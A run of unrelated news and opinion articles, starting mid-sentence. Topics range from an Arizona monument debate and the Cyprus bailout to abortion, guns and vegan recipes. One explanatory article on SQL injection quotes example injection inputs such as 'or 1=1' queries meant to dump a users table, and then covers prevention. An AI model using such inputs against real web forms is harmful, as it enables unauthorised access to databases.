strongly oppose it [7 percent].” The poll was conducted by Fairbank, Maslin, Maullin, Metz & Associates in January 2016.  “Eighty percent of Arizona people support the proposed National Monument. If that is the case, why aren’t the politicians behind it?” asked Prema, who is also the interim president of Flagstaff Lodging and Restaurant Association (FLRA).  Gosar explained in a press release: “This proposed 1.7 million acre land grab would undermine the Four Forest Restoration Initiative Program and make Arizona more vulnerable to wildfires. Attorneys have testified that this proposed monument could tie up future surface water use and future groundwater use. The proposed monument also includes 64,000 acres of Arizona State Trust lands and almost 28,000 acres of private land.”  Opponents also call attention to the fact that National Monument designations under the Antiquities Act typically have significant consequences that negatively affect grazing rights, water rights, wildfire prevention, and other land management activities. These declarations also result in restrictive land-use regulations and also impact hunting, fishing, Off Highway Vehicles (OHV) and other recreational activities.  “The state government can manage our lands better than the federal government,” argued McDaniel, citing the recent toxic waste spill at the hands of the Environmental Protection Agency into Western rivers, including the Animas River in Colorado.  The Arizona Chamber Foundation also came out against the proposed monument, stating, “Given the disappointing mismanagement of important western issues, it is clear that Washington, on its own, is not the best steward of Arizona’s land and natural resources. But should the monument designation proceed, the Department of Interior – based in Washington – would obtain exclusive control of the area within the monument designation.”  “This is not a partisan issue, it is a citizen issue,” said proponent Patel. The Flagstaff Lodging and Restaurant Association has supported the proposed monument for some time. A letter from then Chairman Ruben Abeyta informed its members earlier this year: “A monument designation will shift focus from extraction of uranium and timber to protecting cultural, recreational and wildlife values. It creates an expectation on the local and national level for better protection of public lands around the Grand Canyon.”  “We’re hoping that when the president looks at the options that are on his desk, that the Grand Canyon would be at the top of his list,” concluded Patel. FBN  By Stacey Wittig, FBN
-DAVAO CITY, Philippines — Residents who are 18 or younger are not allowed on the street without an adult between 10 p.m. and 5 a.m. Liquor cannot be sold after 1 a.m. Smoking is banned throughout the city, except in a few designated areas.  A party town? Maybe not, but many people who live here in Davao City, where President-elect Rodrigo Duterte has been the mayor for most of the past two decades, say that’s not the point.  They believe that Mr. Duterte, who will begin his term on June 30, has brought safety and calm to a city that is surrounded by areas where violence is rife.  At Magsaysay Park along the waterfront, children roller-skate at an outdoor rink near stands where brightly colored pomelo, mangosteen and other tropical fruits are sold. Young couples sit on shaded benches, giggling and holding hands.
-Fourteen-year-old Yusef a-Shawamreh, who the IDF killed one week ago in the southern West Bank, was not vandalizing the separation barrier when he was killed, but was crossing it to pick plants on his family’s agricultural land, B’Tselem reported Wednesday following its own investigation.  According to the report, a-Shawamreh was shot when he and two friends, Zahi a-Shawamreh, 13, and al-Muntaser Beallah a-Dardun, 18, were going through a wide gap in the fence that has existed for at least two years; it is safe to say the IDF has known about the gap in the fence. The two surviving youths told B’Tselem field researcher Musa Abu Hashhash that they heard three or four shots as they got off the road, fired with no advance warning.  This contradicts the IDF’s version of the story, which claims that soldiers saw the youths vandalizing the fence, began procedures to arrest a suspect — which means shouting warnings and then firing in the air – and then shot a-Shawamreh after he and his friends allegedly did not heed the warnings. B’Tselem also reported that although the soldiers provided first aid to a-Shawamreh, a military ambulance took 30 minutes to reach the site of the shooting, despite the fact that there is a military base only two kilometers away. What’s worse, the soldiers were apparently on a proactive ambush mission in broad daylight and should have been aware that Palestinians regularly cross that part of the fence to pick gundelia, a thistle-like edible plant annually harvested at this time of year.  This section of the barrier is located well within the West Bank, some 200 meters east of the Green Line, not far from the a-Shawamreh’s home in the south Hebron Hills village of Deir al-‘Asal al-Foqa. The a-Shawamrehs own farmland that is now located on the other side the barrier, and that land is where the three youths were heading to gather plants.  In a statement, B’Tselem said: “By justifying the use of lethal fire in broad daylight at youths who posed no danger to any other persons, the above [IDF] statement conveys a cynical lack of concern for the life of a Palestinian teenager.” The Military Police Criminal Investigations Department (MPCID) has launched an investigation into the incident.  Including a-Shawamreh, the IDF has killed 19 Palestinians in the first 81 days of 2014 — an average of one every 4.26 days.  Eleven were killed in Gaza, about half of them civilians who posed no threat whatsoever, except that they were close to the border fence; others were targeted by Israeli airstrikes in response to fire into Israel. The eight killed in the West Bank include the Jordanian-Palestinian judge shot and killed at the Allenby Crossing, the circumstances of which remain obscure and conflicting. (It certainly doesn’t help that the security cameras were peculiarly not working that day.)  While the circumstances of each killing vary to a degree, the numbers are startling. They tell the story of a military framework all too capable of taking lives all too often.  Correction:  The sixth paragraph of this article has been corrected to reflect that on average, one Palestinian was killed every 4.26 days in the first 81 days of the year, and not, as it mistakenly stated due to a typo, 4.26 Palestinians each day.  Related:  IDF kills Palestinian suspected of vandalism  2013 was a deadly year in Israel-Palestine
-What is it about Hollywood elites who jump on their soapboxes proclaiming to be saviors of America, but then do everything imaginable to undermine the core principles of its founding?  Take Hollywood’s anti-gun glitterati for example. Between making personal fortunes from glorifying guns in their movies and living exuberant lifestyles that includes armed security, one would think they would support their fellow Americans right to self-defense. Nope.  We’ve all heard of former New York City Mayor Michael Bloomberg and his scandalous anti-gun program Everytown For Gun Safety. Now, Academy Award-winning actress Julianne Moore has recently launched her own gun control group called Everytown Creative Council, which, not surprisingly, falls under the auspices of Bloomberg’s organization. To help her, she has recruited fellow celebrities Meg Ryan, Amy Schumer, Jennifer Lawrence, Reese Witherspoon, Kevin Bacon, Kristen Bell, Jessica Chastain, J.J.Abrams, and others to join in her un-American assault on the Second Amendment.  In a Huffington Post blog, Moore had the audacity to write:  “We are actors and artists, but we are Americans first. … We respect the Second Amendment but keeping dangerous weapons out of the hands of convicted criminals, terrorists, domestic abusers, stalkers and dangerous people isn’t anti-gun; it’s pro-common sense.”  “We know that more than 90 percent of Americans support common-sense reforms that are proven to save lives. What not enough people know and what the gun lobby doesn’t want more of us to know is that a large majority of gun owners support these reforms too.”  This is a level of propaganda we would expect from the pompous pigs in George Orwell’s 1945 classic novel Animal Farm. All people are equal, but some people (the elites who like to make the rules) are more equal than others.  First, Moore attempts to establish herself and her fellow creative comrades as “Americans First,” which is nothing more than a stealthy ruse that acts as a preemptive strike against our reasoning and constitutional understanding of the Second Amendment. Next, she attempts to instill fear by listing all the bad guys who could potentially get their hands on “dangerous weapons.” Apparently, she has never read the FBI’s yearly published Uniform Crime Report. If she did, she would know that the most used lethal weapon of all is not a gun, but rather a bludgeoning instrument, primarily the fist.  Moreover, who does she mean when she loosely uses the terms “terrorists” and “dangerous people?” NRA members? Tea Party supporters? Christians? As if this is not enough, she also cleverly uses nicer sounding words like “pro-common sense” instead of “anti-gun,” even though gun control proponents like Bloomberg and his gang believe confiscation is the best exercise of common sense. Finally, Moore throws out some made-up statistics without citing where they came from in hopes that a few suckers will take the bait, hook, line, and sinker. It appears Moore is so consumed with mindless emotionalism that she feels there is no need to do research.  Like Bloomberg’s group, Moore’s primary goal is to secure stronger background checks, as if criminals actually care about background checks. Clearly, this hasn’t stopped her bad guys from having it their way in gun-free zones. Even California’s uber strict gun control laws haven’t prevented such crimes. Case in point, the recent San Bernardino terrorist attack. This is precisely why many of us believe we need to be responsible for our own self-defense. This includes women, the fastest growing demographic purchasing firearms today. Instead of cowering with their children in a closet, these women are now preparing themselves to fight back. Why such a proactive stance? It’s is about real life and death, not a Hollywood movie!  Still, it’s Moore’s latest promotional stunt with her fellow creative comrades that truly takes the cake. It’s a video — a selfie of sorts. It features Moore and other celebrities offering a message that is as repetitive as it is boring. It goes like this: “We can end gun violence.” Apparently, this is the best the so-called “creative community” can come up with. Their big surprise comes at the very end when President Obama reprises his old cliché, “When we come together, Americans can do anything.” Yawn.  As you can see, while Washington and Hollywood anti-gun glitterati exalt themselves making bogus public service announcements, real American’s are taking constitutionally lawful action to protect themselves, their loved ones, and their communities.  Frankly, Americans are sick and tired of elitists making two sets of rules — one set for themselves and another for everyone else. A prime example of this is the recent Golden Globe Awards where Hollywood’s crème de la crème benefited from the largest presence of heavily armed security in the show’s history. This is why Virginia state senator Charles Carrico is currently proposing a new law that would deny armed security to elected officials who oppose American citizen’s right to keep and bear arms. To me, this is one of the best examples of a common sense gun law. Perhaps this new standard of unarmed equality should also apply to busybody Hollywood celebrities.  By Kimberly Bloom Jackson
-The European Commission on Wednesday (21 March) said Cyprus itself was responsible for the most unpopular detail of its bailout.  Following the Cypriot parliament's rejection of the €10 billion bailout, the commission said it was Nicosia that wanted to apply a levy on all savers - including the least well off - when the terms of the deal were being discussed.  It is this element that sparked Cypriots to queue to take money out of their accounts and led to fears of a bank run that could spread to other vulnerable periphery euro countries.  "The commission made it clear ... that an alternative solution respecting the financing parameters would be acceptable, preferably without a levy on deposits below €100.000. The Cypriot authorities did not accept such an alternative scenario."  It said it is now up to Cyprus to find "alternative solutions” to raise the €5.8 billion that its creditors want from the island itself.  In Berlin, the German government was busy outing Cyprus' role too.  "The way the levy is structured was not something the Eurogroup or the German government imposed on Cyprus, it was a decision by the Cypriot government. They did not want to have depositors above €100,000 pay too much," government spokesperson Steffen Seibert said Wednesday.  It follows several comments by finance minister Wolfgang Schaeuble that Cyprus was keen to maintain its business model as a low tax, financial centre.  During the bailout discussions on Friday, Cypriot leader Nicos Anastasiades baulked at taxing larger deposit holders, including many wealthy Russians, at anything higher than 10 percent.  The end solution was to tax all savers: a compulsory levy of 6.75 percent on deposits under €100,000 and a 9.9 percent tariff on savings over €100,000.  A last minute tweak to exempt those with less than €20,000 savings was not enough to avoid the entire bailout package being voted down.  The events mark an extraordinary few days of blame and counterblame as individual EU politicians refuse to accept accountability for the original package.  Meanwhile the decision-making trail, despite the commission’s statement putting the blame at Nicosia's door, remains muddy.  According to one EU source, the commission sided with Cyprus when Nicosia refused to accept an original German proposal called a "bail-in," in which only the two largest banks - Laiki and Bank of Cyprus - would have been "considerably restructured," meaning losses for depositors and bondholders alike.  But under that proposal, depositors under €100,000 would not have been hit.  “We don’t really understand why the commission opposed this,” the source said.  The same source also indicated the commission was in agreement with Cyprus when it suggested taxing all savers with a one-off levy in all Cypriot banks.  The commission, for its part, said that not all “elements” of the bailout correspond to its “proposals and preferences.”  But it added that it was not EU economics commissioner Olli Rehn’s “responsibility to start putting down reservations when everyone else is in agreement.”  Meanwhile, German foreign minister Guido Westerwelle told press in Berlin on Wednesday that there is no point in blaming "one person, one institution or one country" for the levy.  He added: "But I already said at the weekend that I am sceptical about the involvement of small savers because it can hit the wrong people."  For now, the status of the bailout is in limbo.  It is unclear when Cypriot banks will re-open and how long the European Central Bank will keep up an emergency-lending scheme for Laiki and the Bank of Cyprus in the absence of a bailout deal. The absolute deadline for a revised bailout is 3 June, when €1.42 billion in government bonds falls due.
-The holiday season is one of the hardest times for vegetarians and while Thanksgiving is approaching, my heart is filling with more sadness. More than 46 million turkeys are massacred for Thanksgiving each year with most of them being boiled alive, not to mention the chickens, pigs, cows, and lambs. I wonder, how can people steal the lives from those who deserve to live, no matter how tiny or big they are?  Although I am a partial vegan – I refuse to eat meat – I do keep transitioning into a vegan world and do keep inspiring others to do the same. The holiday season is a real challenge to me. With all the family members, relatives and friends being huge meat lovers, finding something to eat other than meat on a festive table is impossible.  I’m sure I’m not alone, so the only way out here is to cook our own meals that will be safe and tasty for us – full and partial vegetarians. Try out the following vegan Thanksgiving recipes and who knows maybe you will make someone go vegan as well. That’s exactly what I’m going to do this year.  1. Ribollita – Tuscan White Bean Soup  This one is a perfect alternative to a traditional turkey soup. The soup is jam-packed with nutrients and absolutely versatile. Get the full recipe here.  2. Sweet Potato Galette with Caramelized Shallots  It can be both a main dish and a side dish or quick Thanksgiving appetizer, you name it. The only thing is, I skip the goat cheese and use less salt in this recipe. And the downside is, the sweet potato galette takes about 2 hours to make, but trust me, that time is worth it. Check out the recipe here.  3. Stuffed Butternut Squash with Farro, Chickpeas, and Kale  No one will leave your house feeling hungry this holiday season. Get the recipe here.  4. Pumpkin, Butternut Squash, and Gorgonzola Bread Pudding  Since I’m lactose intolerant, I’m going to use a plant-based milk while making the pudding. Get the recipe here.  More: 10 Vegan-Friendly High Protein Foods  5. Vegan Green Bean Casserole  Even if you are bad at cooking, you will not fail to make this gluten-free and vegan casserole. Check out the recipe here.  6. Vegan Roasted Garlic and Herb Dinner Rolls  The step by step instructions with pictures will help you make these dinner rolls with little to no efforts at all. Look for the recipe here.  7. Pumpkin and Cheesy Baked Potato Casserole  No Thanksgiving dinner is complete without pumpkin and baked potatoes. Combine these two ingredients in one super yummy festive meal. Find the recipe here.  8. Roasted Cauliflower Risotto with Truffle Oil  Easy to make and quick to eat, what else do you need for your Thanksgiving table? Get the recipe here.  9. Tofurkey  Trick everyone into thinking they are eating actual turkey. Check out the recipe here.  More: 9 Foods to Strengthen Your Immune System  10. Lentil Shepard’s Pie  This one is as tasty as a meat version. I would say it is even more delicious. Plus, it is easy to make. Get the full recipe here.  There you have it – some of the tastiest vegan Thanksgiving recipes that you can confidently use for Christmas as well. Whether you eat meat or no, just try them out. Let’s stop promoting an animal abuse together. They deserve to live just like we do! So, what are your favorite vegan Thanksgiving recipes out there?
-Why Abortion is Moral  All of the arguments against abortion boil down to six specific questions. The first five deal with the nature of the zygote-embryo-fetus growing inside a woman’s womb. The last one looks at the morality of the practice. These questions are:  Let’s take a look at each of these questions. We’ll show how anti-abortionists use seemingly logical answers to back up their cause, but then we’ll show how their arguments actually support the fact that abortion is moral.  1. Is it alive?  Yes. Pro Choice supporters who claim it isn’t do themselves and their cause a disservice. Of course it’s alive. It’s a biological mechanism that converts nutrients and oxygen into energy that causes its cells to divide, multiply, and grow. It’s alive.  Anti-abortion activists often mistakenly use this fact to support their cause. “Life begins at conception” they claim. And they would be right. The genesis of a new human life begins when the egg with 23 chromosomes joins with a sperm with 23 chromosomes and creates a fertilized cell, called a zygote, with 46 chromosomes. The single-cell zygote contains all the DNA necessary to grow into an independent, conscious human being. It is a potential person.  But being alive does not give the zygote full human rights - including the right not to be aborted during its gestation.  A single-cell ameba also coverts nutrients and oxygen into biological energy that causes its cells to divide, multiply and grow. It also contains a full set of its own DNA. It shares everything in common with a human zygote except that it is not a potential person. Left to grow, it will always be an ameba - never a human person. It is just as alive as the zygote, but we would never defend its human rights based solely on that fact.  And neither can the anti-abortionist, which is why we must answer the following questions as well.  2. Is it human?  Yes. Again, Pro Choice defenders stick their feet in their mouths when they defend abortion by claiming the zygote-embryo-fetus isn’t human. It is human. Its DNA is that of a human. Left to grow, it will become a full human person.  And again, anti-abortion activists often mistakenly use this fact to support their cause. They are fond of saying, “an acorn is an oak tree in an early stage of development; likewise, the zygote is a human being in an early stage of development.” And they would be right. But having a full set of human DNA does not give the zygote full human rights - including the right not to be aborted during its gestation.  Don’t believe me? Here, try this: reach up to your head, grab one strand of hair, and yank it out. Look at the base of the hair. That little blob of tissue at the end is a hair follicle. It also contains a full set of human DNA. Granted it’s the same DNA pattern found in every other cell in your body, but in reality the uniqueness of the DNA is not what makes it a different person. Identical twins share the exact same DNA, and yet we don’t say that one is less human than the other, nor are two twins the exact same person. It’s not the configuration of the DNA that makes a zygote human; it’s simply that it has human DNA. Your hair follicle shares everything in common with a human zygote except that it is a little bit bigger and it is not a potential person. (These days even that’s not an absolute considering our new-found ability to clone humans from existing DNA, even the DNA from a hair follicle.)  Your hair follicle is just as human as the zygote, but we would never defend its human rights based solely on that fact.  And neither can the anti-abortionist, which is why the following two questions become critically important to the abortion debate.  3. Is it a person?  No. It’s merely a potential person.  Webster’s Dictionary lists a person as “being an individual or existing as an indivisible whole; existing as a distinct entity.” Anti-abortionists claim that each new fertilized zygote is already a new person because its DNA is uniquely different than anyone else’s. In other words, if you’re human, you must be a person.  Of course we’ve already seen that a simple hair follicle is just as human as a single-cell zygote, and, that unique DNA doesn’t make the difference since two twins are not one person. It’s quite obvious, then, that something else must occur to make one human being different from another. There must be something else that happens to change a DNA-patterned body into a distinct person. (Or in the case of twins, two identically DNA-patterned bodies into two distinct persons.)  There is, and most people inherently know it, but they have trouble verbalizing it for one very specific reason.  The defining mark between something that is human and someone who is a person is ‘consciousness.’ It is the self-aware quality of consciousness that makes us uniquely different from others. This self-awareness, this sentient consciousness is also what separates us from every other animal life form on the planet. We think about ourselves. We use language to describe ourselves. We are aware of ourselves as a part of the greater whole.  The problem is that consciousness normally doesn’t occur until months, even years, after a baby is born. This creates a moral dilemma for the defender of abortion rights. Indeed, they inherently know what makes a human into a person, but they are also aware such individual personhood doesn’t occur until well after birth. To use personhood as an argument for abortion rights, therefore, also leads to the argument that it should be okay to kill a 3-month-old baby since it hasn’t obtained consciousness either.  Anti-abortionists use this perceived problem in an attempt to prove their point. In a debate, a Pro Choice defender will rightly state that the difference between a fetus and a full-term human being is that the fetus isn’t a person. The anti-abortion activist, being quite sly, will reply by asking his opponent to define what makes someone into a person. Suddenly the Pro Choice defender is at a loss for words to describe what he or she knows innately. We know it because we lived it. We know we have no memory of self-awareness before our first birthday, or even before our second. But we also quickly become aware of the “problem” we create if we say a human doesn’t become a person until well after its birth. And we end up saying nothing. The anti-abortionist then takes this inability to verbalize the nature of personhood as proof of their claim that a human is a person at conception.  But they are wrong. Their “logic” is greatly flawed. Just because someone is afraid to speak the truth doesn’t make it any less true.  And in reality, the Pro Choice defender’s fear is unfounded. They are right, and they can state it without hesitation. A human indeed does not become a full person until consciousness. And consciousness doesn’t occur until well after the birth of the child. But that does not automatically lend credence to the anti-abortionist’s argument that it should, therefore, be acceptable to kill a three-month-old baby because it is not yet a person.  It is still a potential person. And after birth it is an independent potential person whose existence no longer poses a threat to the physical wellbeing of another. To understand this better, we need to look at the next question.  4. Is it physically independent?  No. It is absolutely dependent on another human being for its continued existence. Without the mother’s life-giving nutrients and oxygen it would die. Throughout gestation the zygote-embryo-fetus and the mother’s body are symbiotically linked, existing in the same physical space and sharing the same risks. What the mother does affects the fetus. And when things go wrong with the fetus, it affects the mother.  Anti-abortionists claim fetal dependence cannot be used as an issue in the abortion debate. They make the point that even after birth, and for years to come, a child is still dependent on its mother, its father, and those around it. And since no one would claim its okay to kill a child because of its dependency on others, we can’t, if we follow their logic, claim it’s okay to abort a fetus because of its dependence.  What the anti-abortionist fails to do, however, is differentiate between physical dependence and social dependence. Physical dependence does not refer to meeting the physical needs of the child - such as in the anti-abortionist’s argument above. That’s social dependence; that’s where the child depends on society - on other people - to feed it, clothe it, and love it. Physical dependence occurs when one life form depends solely on the physical body of another life form for its existence.  Physical dependence was cleverly illustrated back in 1971 by philosopher Judith Jarvis Thompson. She created a scenario in which a woman is kidnapped and wakes up to find she’s been surgically attached to a world-famous violinist who, for nine months, needs her body to survive. After those nine months, the violinist can survive just fine on his own, but he must have this particular woman in order to survive until then.  Thompson then asks if the woman is morally obliged to stay connected to the violinist who is living off her body. It might be a very good thing if she did - the world could have the beauty that would come from such a violinist - but is she morally obliged to let another being use her body to survive?  This very situation is already conceded by anti-abortionists. They claim RU-486 should be illegal for a mother to take because it causes her uterus to flush its nutrient-rich lining, thus removing a zygote from its necessary support system and, therefore, ending its short existence as a life form. Thus the anti-abortionist’s own rhetoric only proves the point of absolute physical dependence.  This question becomes even more profound when we consider a scenario where it’s not an existing person who is living off the woman’s body, but simply a potential person, or better yet, a single-cell zygote with human DNA that is no different than the DNA in a simple hair follicle.  To complicate it even further, we need to realize that physical dependence also means a physical threat to the life of the mother. The World Health Organization reports that nearly 670,000 women die from pregnancy-related complications each year (this number does not include abortions). That’s 1,800 women per day. We also read that in developed countries, such as the United States and Canada, a woman is 13 times more likely to die bringing a pregnancy to term than by having an abortion.  Therefore, not only is pregnancy the prospect of having a potential person physically dependent on the body of one particular women, it also includes the women putting herself into a life-threatening situation for that potential person.  Unlike social dependence, where the mother can choose to put her child up for adoption or make it a ward of the state or hire someone else to take care of it, during pregnancy the fetus is absolutely physically dependent on the body of one woman. Unlike social dependence, where a woman’s physical life is not threatened by the existence of another person, during pregnancy, a woman places herself in the path of bodily harm for the benefit of a DNA life form that is only a potential person - even exposing herself to the threat of death.  This brings us to the next question: do the rights of a potential person supercede the rights of the mother to control her body and protect herself from potential life-threatening danger?  5. Does it have human rights?  Yes and No.  A potential person must always be given full human rights unless its existence interferes with the rights of Life, Liberty, and the Pursuit of Happiness of an already existing conscious human being. Thus, a gestating fetus has no rights before birth and full rights after birth.  If a fetus comes to term and is born, it is because the mother chooses to forgo her own rights and her own bodily security in order to allow that future person to gestate inside her body. If the mother chooses to exercise control over her own body and to protect herself from the potential dangers of childbearing, then she has the full right to terminate the pregnancy.  Anti-abortion activists are fond of saying “The only difference between a fetus and a baby is a trip down the birth canal.” This flippant phrase may make for catchy rhetoric, but it doesn’t belie the fact that indeed “location” makes all the difference in the world.  It’s actually quite simple. You cannot have two entities with equal rights occupying one body. One will automatically have veto power over the other - and thus they don’t have equal rights. In the case of a pregnant woman, giving a “right to life” to the potential person in the womb automatically cancels out the mother’s right to Life, Liberty, and the Pursuit of Happiness.  After birth, on the other hand, the potential person no longer occupies the same body as the mother, and thus, giving it full human rights causes no interference with another’s right to control her body. Therefore, even though a full-term human baby may still not be a person, after birth it enjoys the full support of the law in protecting its rights. After birth its independence begs that it be protected as if it were equal to a fully-conscience human being. But before birth its lack of personhood and its threat to the women in which it resides makes abortion a completely logical and moral choice.  Which brings us to our last question, which is the real crux of the issue….  6. Is abortion murder?  No. Absolutely not.  It’s not murder if it’s not an independent person. One might argue, then, that it’s not murder to end the life of any child before she reaches consciousness, but we don’t know how long after birth personhood arrives for each new child, so it’s completely logical to use their independence as the dividing line for when full rights are given to a new human being.  Using independence also solves the problem of dealing with premature babies. Although a preemie is obviously still only a potential person, by virtue of its independence from the mother, we give it the full rights of a conscious person. This saves us from setting some other arbitrary date of when we consider a new human being a full person. Older cultures used to set it at two years of age, or even older. Modern religious cultures want to set it at conception, which is simply wishful thinking on their part. As we’ve clearly demonstrated, a single-cell zygote is no more a person that a human hair follicle.  But that doesn’t stop religious fanatics from dumping their judgements and their anger on top of women who choose to exercise the right to control their bodies. It’s the ultimate irony that people who claim to represent a loving God resort to scare tactics and fear to support their mistaken beliefs.  It’s even worse when you consider that most women who have an abortion have just made the most difficult decision of their life. No one thinks abortion is a wonderful thing. No one tries to get pregnant just so they can terminate it. Even though it’s not murder, it still eliminates a potential person, a potential daughter, a potential son. It’s hard enough as it is. Women certainly don’t need others telling them it’s a murder.  It’s not. On the contrary, abortion is an absolutely moral choice for any woman wishing to control her body.
-What do you feel like when you buy a Kit-Kat, take a bite and discover there is no wafer? Do you scream and shout about the deviance of said chocolate bar? Do you throw it to the floor in disgust? Do you write to Nestle demanding they send you the missing wafer? No?  But why don’t you do that? – after all you bought the blinking thing in the first place because it has a wafer, surely? You actively desired the wafer! Otherwise you’d have plumped for a Cadbury’s Dairy Milk or maybe selected a Yorkie (only if you’re a boy, of course).  But no, you have a little smile to yourself, you enjoy the extra chocolate, and some of you might even feel the need to post on Facebook. “Just had a KitKat with no wafer – RESULT!” By the way, if this is you, please do not do this. I am happy for you really, but you’re cluttering up my feed.  So why is it that we feel just a little bit blessed when we encounter the Kit-Kat with no wafer? I guess it’s because we can enjoy quite a relaxed state of mind around snacks and can see the experience as serendipity. Sure, maybe we wanted the wafer, but actually the sweet surprise of solid chocolate makes up for all that.  So what if we took this reaction and applied it to the rest of our lives? To relationships and business? Can you imagine how happy you’d be if when things didn’t go according to plan you were even happier with the results?  It’s all about attitude, and having an open mind and not focussing so intently on getting things precisely as we want them when certain factors are outside of our control.  You must be prepared to look for opportunities in adversity and to look upon the most favourable aspects of what might otherwise be deemed a negative experience to achieve serendipity more often.  This attitude gives us the freedom to commit to undertakings without being blind to all the other opportunities that might come our way. And it gives us the valuable skill of always finding the positives in life.  “The most exciting phrase to hear in science, the one that heralds new discoveries, is not ‘Eureka!’, but ‘That’s funny…'” – Isaac Asimov  http://www.wiseism.com/like-kit-kat-no-wafer-serendipity/http://www.wiseism.com/wp-content/uploads/serendipity.jpg http://www.wiseism.com/wp-content/uploads/serendipity.jpg Wise LivingWise Mindattitude,choices,life,living wisely,luck,opportunities,positive thinking,relationships,serendipity,wisdom,wise philosophy,wise ways of livingWhat do you feel like when you buy a Kit-Kat, take a bite and discover there is no wafer? Do you scream and shout about the deviance of said chocolate bar? Do you throw it to the floor in disgust? Do you write to Nestle demanding they send you...The WiseistBeth Burgesswiseism1@gmail.comAdministratorMy name is Beth Burgess. I don't claim to be the wisest, but I am 'The Wiseist' - someone dedicated to collecting and sharing wisdom that can help people live their lives more happily and successfully. I'm also the bestselling author of "Instant Wisdom: 10 Easy Ways to Get Smart Fast",, a therapist,, coach, freelance writer, speaker, trainer, and workshop leader. And I'm still learning too.Wiseism
-Tennessee redshirt freshman defensive lineman Andrew Butcher’s football career is over.  The Alpharetta (Ga.) native announced via Twitter on Monday evening that he has opted to take a medical exemption, meaning he will remain on scholarship at UT, but will no longer play football.  Zone not found or deactivated.Zone id : 5  Butcher’s college career comes to an end before it truly got a chance to get started.  Ranked as a three-star defensive end coming out of Alpharetta High Schooll, the Clemson legacy prospect enrolled early in 2015 and participated in spring practice that season. But an offseason surgery put him behind for the 2015 season, forcing him to take a redshirt.  And while he bulked up and was able to return to practice later in 2016 as a defensive tackle, Butcher never saw the field for the Vols despite a rash of injuries and attrition at the position. His Twitter statement on Monday indicates that four surgeries, which included two major operations on one knee, were simply too much to overcome physically.  Butcher will no longer count against the 85-man scholarship limit for UT.
-SQL injection is a type of security exploit/vulnerability in which the attacker submits a SQL code to a Web form input box exposing the back-end database to gain access to resources or make changes to data. SQL injection allows an attacker to create, read, update, alter or delete data stored in the back-end database. A SQL injection attack can occur when a web application utilizes user-supplied data without proper validation or encoding as part of a command or query.  Typically, on a Web form for user authentication, when a user enters their name and password into the text boxes provided for them, those values are inserted into a SELECT query as it is. If the values entered are found as expected, the user is allowed access; if they aren't found, access is denied. However, most Web forms have no mechanisms in place to block input other than names and passwords. Unless such precautions are taken, an attacker can use the input boxes to send their own request to the database, which could allow them to download the entire database or interact with it in other illicit ways.  More than 20 percent of all web vulnerabilities being attributed to SQL injection, this is the second most common software vulnerability, as due to it anyone can get access to the database of your system. Therefore, having the ability to find and prevent SQL injection should be top of mind for web developers and security personnel. In general, a SQL injection attack exploits a web application that does not properly validate or encode user-supplied input and then uses that input as part of a query or command against a back-end database.  If your web application has a form asking for a user id. Then a hacker may write any user id "number or 1=1" if you have not done proper validation before using the input then this may compromise your database security. Hacker may also use a complete query like for the above example hacker may write "# or 1=1; Select * from users ; --" if this query executes then whole of your users information can be displayed and remaining of your query will be commented to avoid errors.  According to security experts, the reason that SQL injection and many other exploits, such as cross-site scripting, are possible is that security is not sufficiently emphasized in development. To protect the integrity of Web sites and applications, experts recommend simple precautions during development such as controlling the types and numbers of characters accepted by input boxes.  Prevention  You can prevent SQL injection if you adopt an input validation technique in which user input is authenticated against a set of defined rules for length, type and syntax and also against business rules. Most of the languages provide support for prevention of sql injection by the use of prepared statements/queries which checks the parameters to be used in the query for sql injection. Use strongly typed parameterized query APIs with placeholder substitution markers, even when calling stored procedures. Show care when using stored procedures since they are generally safe from injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure).
-A recent BDN article regarding the religious liberty bill I am sponsoring is full of misperceptions, paranoia and inaccuracies. The article suggests that this bill is somehow designed to undermine gay marriage.  This is not about gay marriage. The bill, LD 1428, is about assuring the religious liberties spelled out in the First Amendment of the U.S. Constitution are protected for all Maine citizens. The goal is to prohibit Maine from burdening Mainers’ free exercise of religion without strong justification.  Those quoted in the article imply that this legislation is unnecessary because the First Amendment already guarantees religious freedom. A U.S. Supreme Court decision and recent actions by other states, however, suggest otherwise.  In 1993, the U.S. Congress passed the federal Religious Freedom Restoration Act, which stated the government cannot place burdens on the free exercise of religion unless doing so serves a compelling state interest or is accomplished by the least restrictive means possible.  That law was struck down by the U.S. Supreme Court, however, in 1997. The court ruled that while the law’s application to the federal government was constitutional, its extension to individual states was not.  Eighteen U.S. states have since adopted their own religious liberty laws as a result of that ruling.  In recent years, there has been a flurry of attacks on religious liberties around the U.S., such as demands that Christmas trees not be placed on public property and school plays make no reference to religion. Here in Maine, an elementary school was forced to drop the “Blessing of the Fleet” portion of its annual boat launching ceremony after being threatened with a lawsuit by a Washington special interest group. In Bar Harbor, the town council recently voted to remove a memorial to World War II veterans from a public park. Why? Because the memorial consisted of lights on a Christmas tree.  The common thread in all of these cases is an unprecedented attack on religious liberties in which those affected have no legal recourse.  The aim of my religious liberty bill is to join those other states in adopting religious freedom guidelines to prevent the government from being able to easily infringe on citizens’ rights to freely exercise their religion.  More specifically it would:  — Restore the compelling interest test and guarantee its application to all cases where the exercise of religion is burdened by state action;  — Provide a claim or defense to a person or persons whose exercise of religion is burdened by state action.  Religious rights are not for a specific group of people or individuals. They are for all of us. My bill would ensure those rights are protected by Maine law.  Senator David Burns, R-Whiting, serves on the Maine Legislature’s Judiciary, Inland Fisheries and Wildlife, and Government Oversight committees.
-Not surprisingly, the news comes from Massachusetts, where Daniel Booth filed a joint motion for costs and stay of proceedings, and for protective order in Guava v. John Doe (MAD 12-cv-11880 ). Basically, this document, besides asking what its title implies, describes the very same instance of Prenda’s douchebaggery that I wrote about in the last Guava update , but does so using more details and a much better language.  I do not want to write a full-blown post and analyze this document. Firstly, so many events have been happening lately on the troll battleground: if I dive in the details of each of them, I will have to spend 24/7 on this issues, which is less than desirable during the holidays season. And secondly, documents written by Dan and Jason are always well articulated and, as a rule, do not require additional comments.  If you don’t know anything about Guava/Arte de Oaxaca scams (derived from the Lightspeed’s fraudulent lawsuit) and want to fully understand both the subject and the beauty of the following document, you should familiarize yourself with the history of these lawsuit abuses.  John Steele, during his drunken outbreak of rage thought he vindicated only Erin Russell and her clients. It never crossed this narcissistic moron’s mind that Erin also might be a local representative for someone else. In this case, “someone else” happened to be Booth Sweet, whose attorneys are several leagues above Massachusetts Prenda’s counsel Daniel Ruggiero, so I pity the poor scumbag: he will feel a lot of heat soon (he is currently being confronted by superior attorneys in several states). His masters, criminal masterminds from now being abandoned ship Prenda, are not in much better situation. Readers of this blog know this.  